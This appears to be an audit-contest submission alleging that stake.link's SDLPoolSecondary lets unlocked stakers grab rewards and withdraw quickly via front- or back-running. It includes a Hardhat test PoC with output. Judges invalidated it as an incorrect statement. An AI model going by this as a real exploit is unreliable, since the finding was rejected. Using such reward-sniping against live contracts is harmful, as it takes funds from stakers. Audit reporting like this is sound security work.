stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: high
Invalid

SDLPoolSecondary::Unsafe reward distribution + back running & front running

Summary

An attacker doesn't even need to lock their SDL to get high value reward.

Vulnerability Details

An attacker can stake good amount of SDL without locking it, now if unfortunately rewards are distributed before or just after the attacker's stake then he can withdraw his reward and withdraw his stake, the timing could be less than 5 minutes if the rewards were already distributed. So in just 5 minutes he can get his reward and unstake his position. Attacker also can front run if he sees the reward to be distributed.

POC

Run this test:

it('step wise2', async () => {
await sdlToken.transferAndCall(
sdlPool.address,
toEther(100),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY]) //queued
)
await time.increase(50*DAY)
await sdlToken // staking[locked]
.connect(signers[1])
.transferAndCall(
sdlPool.address,
toEther(200),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY])
)
await time.increase(50*DAY)
await sdlToken // staking[locked]
.connect(signers[2])
.transferAndCall(
sdlPool.address,
toEther(8000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY])
)
await time.increase(100) //just after 100 seconds
await sdlToken // staking [normal i.e not locked]
.connect(signers[3])
.transferAndCall(
sdlPool.address,
toEther(1000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
// till now all staking operations are queued
// processing those queued operations
await sdlPool.handleOutgoingUpdate()
await sdlPool.handleIncomingUpdate(1)
// executing those queued operations
await sdlPool.executeQueuedOperations([]) // first user executed
await sdlPool.connect(signers[1]).executeQueuedOperations([]) // second user executed
await sdlPool.connect(signers[2]).executeQueuedOperations([]) // third user executed
await sdlPool.connect(signers[3]).executeQueuedOperations([]) // fourth user executed
await rewardToken.transferAndCall(sdlPool.address, toEther(10000), '0x') // rewards were sent from rewards pool
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[0]))) // withdrawable reward of 1st user
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[1]))) // withdrawable reward of 2nd user
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[2]))) // withdrawable reward of 3rd user
console.log("The attacker's withdrable reward: ", fromEther(await rewardsPool.withdrawableRewards(accounts[3]))) // withdrawable reward of 4th user
console.log(await sdlPool.getLockIdsByOwner(accounts[3]))
await expect(sdlPool.connect(signers[3]).withdraw(4, toEther(1000))).not.to.be.reverted // attacker withdrawn his stake successfully
console.log(await rewardsPool.token())
await expect(sdlPool.connect(signers[3]).withdrawRewards(["0x63309E64Bc20704D6e4f411aAC3de5E0345F6d69"])).not.to.be.reverted // attacker withdrawn his reward
console.log("The attacker remaining reward after withdrawing: ", fromEther(await rewardsPool.withdrawableRewards(accounts[3])))
assert.equal(fromEther(await rewardsPool.withdrawableRewards(accounts[3])),0)
})

Output:

SDLPoolSecondary
111.0033408772497
222.0066817544994
8880.267270179977
The attacker's withdrable reward: 786.7227071882746
[ BigNumber { value: "4" } ]
0x63309E64Bc20704D6e4f411aAC3de5E0345F6d69
The attacker remaining reward after withdrawing: 0
111.0033408772497
222.0066817544994
8880.267270179977
✔ step wise2 (390ms)
1 passing (3s)

Impact

An attacker can get huge reward depends on his staked amount without even locking it and most importantly in very less time.

Tools Used

Manual analysis.

Recommendations

Make them unable to unstake for a limit of time if they don't lock their token.

Updates

Lead Judging Commences

0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
0xAbinash Submitter
over 1 year ago
0xAbinash Submitter
over 1 year ago
0kage Lead Judge
over 1 year ago
0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.